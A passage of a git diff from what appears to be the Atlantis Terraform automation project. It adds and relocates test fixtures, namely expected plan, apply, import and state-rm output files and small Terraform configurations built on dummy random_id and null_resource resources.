b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-import-dummy2.txt new file mode 100644 index 0000000000..e6bef5251a --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-import-dummy2.txt @@ -0,0 +1,20 @@ +Ran Import for dir: `dir2` workspace: `default` + +```diff +random_id.dummy: Importing from ID "BB"... +random_id.dummy: Import prepared! + Prepared random_id for import +random_id.dummy: Refreshing state... [id=BB] + +Import successful! + +The resources that were imported are shown above. These resources are now in +your Terraform state and will henceforth be managed by Terraform. +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir2 + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-merged.txt b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-merged.txt new file mode 100644 index 0000000000..1a12259187 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-merged.txt @@ -0,0 +1,4 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `dir1` workspace: `default` +- dir: `dir2` workspace: `default` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-plan-again.txt b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-plan-again.txt new file mode 100644 index 0000000000..1de0174378 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-plan-again.txt @@ -0,0 +1,90 @@ +Ran Plan for 2 projects: + +1. dir: `dir1` workspace: `default` +1. dir: `dir2` workspace: `default` +--- + +### 1. dir: `dir1` workspace: `default` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # random_id.dummy will be created ++ resource "random_id" "dummy" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d dir1 + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir1 + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### 2. dir: `dir2` workspace: `default` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # random_id.dummy will be created ++ resource "random_id" "dummy" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d dir2 + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir2 + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### Plan Summary + +2 projects, 2 with changes, 0 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` diff --git a/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-plan.txt b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-plan.txt new file mode 100644 index 0000000000..d74495004a --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-plan.txt @@ -0,0 +1,60 @@ +Ran Plan for 2 projects: + +1. dir: `dir1` workspace: `default` +1. dir: `dir2` workspace: `default` +--- + +### 1. dir: `dir1` workspace: `default` +```diff +random_id.dummy: Refreshing state... [id=AA] + +No changes. Your infrastructure matches the configuration. + +Terraform has compared your real infrastructure against your configuration +and found no differences, so no changes are needed. +``` + +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d dir1 + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir1 + ``` + +--- +### 2. dir: `dir2` workspace: `default` +```diff +random_id.dummy: Refreshing state... [id=BB] + +No changes. Your infrastructure matches the configuration. + +Terraform has compared your real infrastructure against your configuration +and found no differences, so no changes are needed. +``` + +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d dir2 + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir2 + ``` + +--- +### Plan Summary + +2 projects, 0 with changes, 2 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-state-rm-multiple-projects.txt b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-state-rm-multiple-projects.txt new file mode 100644 index 0000000000..973455d73c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-state-rm-multiple-projects.txt @@ -0,0 +1,34 @@ +Ran State for 2 projects: + +1. dir: `dir1` workspace: `default` +1. dir: `dir2` workspace: `default` +--- + +### 1. dir: `dir1` workspace: `default` +```diff +Removed random_id.dummy +Successfully removed 1 resource instance(s). +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir1 + ``` + +--- +### 2. dir: `dir2` workspace: `default` +```diff +Removed random_id.dummy +Successfully removed 1 resource instance(s). +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir2 + ``` + +--- \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-autoplan.txt new file mode 100644 index 0000000000..3728b1b223 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-autoplan.txt @@ -0,0 +1,65 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # random_id.count[0] will be created ++ resource "random_id" "count" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + + # random_id.for_each["default"] will be created ++ resource "random_id" "for_each" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + + # random_id.simple will be created ++ resource "random_id" "simple" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + +Plan: 3 to add, 0 to change, 0 to destroy. +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 3 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` diff --git a/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-import-count.txt b/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-import-count.txt new file mode 100644 index 0000000000..32680f595f --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-import-count.txt @@ -0,0 +1,20 @@ +Ran Import for dir: `.` workspace: `default` + +```diff +random_id.count[0]: Importing from ID "BB"... +random_id.count[0]: Import prepared! + Prepared random_id for import +random_id.count[0]: Refreshing state... [id=BB] + +Import successful! + +The resources that were imported are shown above. These resources are now in +your Terraform state and will henceforth be managed by Terraform. +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-import-foreach.txt b/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-import-foreach.txt new file mode 100644 index 0000000000..982e937496 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-import-foreach.txt @@ -0,0 +1,20 @@ +Ran Import for dir: `.` workspace: `default` + +```diff +random_id.for_each["overridden"]: Importing from ID "BB"... +random_id.for_each["overridden"]: Import prepared! + Prepared random_id for import +random_id.for_each["overridden"]: Refreshing state... [id=BB] + +Import successful! + +The resources that were imported are shown above. These resources are now in +your Terraform state and will henceforth be managed by Terraform. +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-import-simple.txt b/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-import-simple.txt new file mode 100644 index 0000000000..be74444839 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-import-simple.txt @@ -0,0 +1,20 @@ +Ran Import for dir: `.` workspace: `default` + +```diff +random_id.simple: Importing from ID "AA"... +random_id.simple: Import prepared! + Prepared random_id for import +random_id.simple: Refreshing state... [id=AA] + +Import successful! + +The resources that were imported are shown above. These resources are now in +your Terraform state and will henceforth be managed by Terraform. +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` \ No newline at end of file diff --git a/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-merged.txt similarity index 100% rename from server/testfixtures/test-repos/tfvars-yaml-no-autoplan/exp-output-merge.txt rename to server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-merged.txt diff --git a/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-plan-again.txt b/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-plan-again.txt new file mode 100644 index 0000000000..288ee1df89 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-plan-again.txt @@ -0,0 +1,65 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # random_id.count[0] will be created ++ resource "random_id" "count" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + + # random_id.for_each["overridden"] will be created ++ resource "random_id" "for_each" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + + # random_id.simple will be created ++ resource "random_id" "simple" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + +Plan: 3 to add, 0 to change, 0 to destroy. +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . -- -var var=overridden + ``` +Plan: 3 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` diff --git a/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-plan.txt b/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-plan.txt new file mode 100644 index 0000000000..379d9e8ce7 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-plan.txt @@ -0,0 +1,28 @@ +Ran Plan for dir: `.` workspace: `default` + +```diff +No changes. Your infrastructure matches the configuration. + +Terraform has compared your real infrastructure against your configuration +and found no differences, so no changes are needed. +``` + +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . -- -var var=overridden + ``` + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-state-rm-foreach.txt b/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-state-rm-foreach.txt new file mode 100644 index 0000000000..a6f0f97cce --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-state-rm-foreach.txt @@ -0,0 +1,13 @@ +Ran State `rm` for dir: `.` workspace: `default` + +```diff +Removed random_id.for_each["overridden"] +Successfully removed 1 resource instance(s). +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-state-rm-multiple.txt b/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-state-rm-multiple.txt new file mode 100644 index 0000000000..0848fc65e8 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-state-rm-multiple.txt @@ -0,0 +1,14 @@ +Ran State `rm` for dir: `.` workspace: `default` + +```diff +Removed random_id.count[0] +Removed random_id.simple +Successfully removed 2 resource instance(s). +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/state-rm-single-project/main.tf b/server/controllers/events/testdata/test-repos/state-rm-single-project/main.tf new file mode 100644 index 0000000000..05e52a00b2 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-single-project/main.tf @@ -0,0 +1,17 @@ +resource "random_id" "simple" { + byte_length = 1 +} + +resource "random_id" "for_each" { + for_each = toset([var.var]) + byte_length = 1 +} + +resource "random_id" "count" { + count = 1 + byte_length = 1 +} + +variable "var" { + default = "default" +} diff --git a/server/controllers/events/testdata/test-repos/state-rm-single-project/versions.tf b/server/controllers/events/testdata/test-repos/state-rm-single-project/versions.tf new file mode 100644 index 0000000000..1033bda831 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-single-project/versions.tf @@ -0,0 +1,9 @@ +provider "random" {} +terraform { + required_providers { + random = { + source = "hashicorp/random" + version = "3.7.2" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/state-rm-workspace/atlantis.yaml b/server/controllers/events/testdata/test-repos/state-rm-workspace/atlantis.yaml new file mode 100644 index 0000000000..f70f4da796 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-workspace/atlantis.yaml @@ -0,0 +1,5 @@ +version: 3 +projects: +- name: dir1-ops + dir: dir1 + workspace: ops diff --git a/server/controllers/events/testdata/test-repos/state-rm-workspace/dir1/main.tf b/server/controllers/events/testdata/test-repos/state-rm-workspace/dir1/main.tf new file mode 100644 index 0000000000..3056320d04 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-workspace/dir1/main.tf @@ -0,0 +1,9 @@ +resource "random_id" "dummy1" { + count = terraform.workspace == "ops" ? 1 : 0 + + byte_length = 1 +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/state-rm-workspace/dir1/versions.tf b/server/controllers/events/testdata/test-repos/state-rm-workspace/dir1/versions.tf new file mode 100644 index 0000000000..a39a5c096c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-workspace/dir1/versions.tf @@ -0,0 +1,9 @@ +provider "random" {} +terraform { + required_providers { + random = { + source = "hashicorp/random" + version = "~> 3" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-import-dummy1.txt b/server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-import-dummy1.txt new file mode 100644 index 0000000000..b81ff32704 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-import-dummy1.txt @@ -0,0 +1,20 @@ +Ran Import for project: `dir1-ops` dir: `dir1` workspace: `ops` + +```diff +random_id.dummy1[0]: Importing from ID "AA"... +random_id.dummy1[0]: Import prepared! + Prepared random_id for import +random_id.dummy1[0]: Refreshing state... [id=AA] + +Import successful! + +The resources that were imported are shown above. These resources are now in +your Terraform state and will henceforth be managed by Terraform. +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -p dir1-ops + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-merge.txt new file mode 100644 index 0000000000..c08de93b1a --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-merge.txt @@ -0,0 +1,3 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `dir1` workspace: `ops` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-plan-again.txt b/server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-plan-again.txt new file mode 100644 index 0000000000..632b3cf24c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-plan-again.txt @@ -0,0 +1,45 @@ +Ran Plan for project: `dir1-ops` dir: `dir1` workspace: `ops` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # random_id.dummy1[0] will be created ++ resource "random_id" "dummy1" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -p dir1-ops + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -p dir1-ops + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` diff --git a/server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-plan.txt b/server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-plan.txt new file mode 100644 index 0000000000..3beeb14cab --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-plan.txt @@ -0,0 +1,30 @@ +Ran Plan for project: `dir1-ops` dir: `dir1` workspace: `ops` + +```diff +random_id.dummy1[0]: Refreshing state... [id=AA] + +No changes. Your infrastructure matches the configuration. + +Terraform has compared your real infrastructure against your configuration +and found no differences, so no changes are needed. +``` + +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -p dir1-ops + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -p dir1-ops + ``` + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-state-rm-dummy1.txt b/server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-state-rm-dummy1.txt new file mode 100644 index 0000000000..8c63577a49 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-state-rm-dummy1.txt @@ -0,0 +1,13 @@ +Ran State `rm` for project: `dir1-ops` dir: `dir1` workspace: `ops` + +```diff +Removed random_id.dummy1[0] +Successfully removed 1 resource instance(s). +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -p dir1-ops + ``` \ No newline at end of file diff --git a/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/atlantis.yaml b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/atlantis.yaml similarity index 100% rename from server/testfixtures/test-repos/tfvars-yaml-no-autoplan/atlantis.yaml rename to server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/atlantis.yaml diff --git a/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/default.backend.tfvars b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/default.backend.tfvars similarity index 100% rename from server/testfixtures/test-repos/tfvars-yaml-no-autoplan/default.backend.tfvars rename to server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/default.backend.tfvars diff --git a/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/default.tfvars b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/default.tfvars similarity index 100% rename from server/testfixtures/test-repos/tfvars-yaml-no-autoplan/default.tfvars rename to server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/default.tfvars diff --git a/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-apply-default.txt b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-apply-default.txt new file mode 100644 index 0000000000..1e56cfde5a --- /dev/null +++ b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-apply-default.txt @@ -0,0 +1,13 @@ +Ran Apply for project: `default` dir: `.` workspace: `default` + +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +var = "default" +workspace = "default" +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-apply-staging.txt b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-apply-staging.txt new file mode 100644 index 0000000000..3f1128f8fa --- /dev/null +++ b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-apply-staging.txt @@ -0,0 +1,13 @@ +Ran Apply for project: `staging` dir: `.` workspace: `default` + +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +var = "staging" +workspace = "default" +``` \ No newline at end of file diff --git a/server/testfixtures/test-repos/tfvars-yaml/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-merge.txt similarity index 100% rename from server/testfixtures/test-repos/tfvars-yaml/exp-output-merge.txt rename to server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-merge.txt diff --git a/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-plan-default.txt b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-plan-default.txt new file mode 100644 index 0000000000..cf3378bc59 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-plan-default.txt @@ -0,0 +1,44 @@ +Ran Plan for project: `default` dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "default" ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -p default + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -p default + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-plan-staging.txt b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-plan-staging.txt new file mode 100644 index 0000000000..efad85de0e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-plan-staging.txt @@ -0,0 +1,44 @@ +Ran Plan for project: `staging` dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "staging" ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -p staging + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -p staging + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/main.tf b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/main.tf new file mode 100644 index 0000000000..4acc30b31e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/main.tf @@ -0,0 +1,19 @@ +terraform { + backend "local" { + } +} + +resource "null_resource" "simple" { + count = 1 +} + +variable "var" { +} + +output "var" { + value = var.var +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/staging.backend.tfvars b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/staging.backend.tfvars similarity index 100% rename from server/testfixtures/test-repos/tfvars-yaml-no-autoplan/staging.backend.tfvars rename to server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/staging.backend.tfvars diff --git a/server/testfixtures/test-repos/tfvars-yaml-no-autoplan/staging.tfvars b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/staging.tfvars similarity index 100% rename from server/testfixtures/test-repos/tfvars-yaml-no-autoplan/staging.tfvars rename to server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/staging.tfvars diff --git a/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/versions.tf b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/testfixtures/test-repos/tfvars-yaml/atlantis.yaml b/server/controllers/events/testdata/test-repos/tfvars-yaml/atlantis.yaml similarity index 100% rename from server/testfixtures/test-repos/tfvars-yaml/atlantis.yaml rename to server/controllers/events/testdata/test-repos/tfvars-yaml/atlantis.yaml diff --git a/server/testfixtures/test-repos/tfvars-yaml/default.backend.tfvars b/server/controllers/events/testdata/test-repos/tfvars-yaml/default.backend.tfvars similarity index 100% rename from server/testfixtures/test-repos/tfvars-yaml/default.backend.tfvars rename to server/controllers/events/testdata/test-repos/tfvars-yaml/default.backend.tfvars diff --git a/server/testfixtures/test-repos/tfvars-yaml/default.tfvars b/server/controllers/events/testdata/test-repos/tfvars-yaml/default.tfvars similarity index 100% rename from server/testfixtures/test-repos/tfvars-yaml/default.tfvars rename to server/controllers/events/testdata/test-repos/tfvars-yaml/default.tfvars diff --git a/server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-apply-default.txt b/server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-apply-default.txt new file mode 100644 index 0000000000..1e56cfde5a --- /dev/null +++ b/server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-apply-default.txt @@ -0,0 +1,13 @@ +Ran Apply for project: `default` dir: `.` workspace: `default` + +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +var = "default" +workspace = "default" +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-apply-staging.txt b/server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-apply-staging.txt new file mode 100644 index 0000000000..3f1128f8fa --- /dev/null +++ b/server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-apply-staging.txt @@ -0,0 +1,13 @@ +Ran Apply for project: `staging` dir: `.` workspace: `default` + +```diff +null_resource.simple: 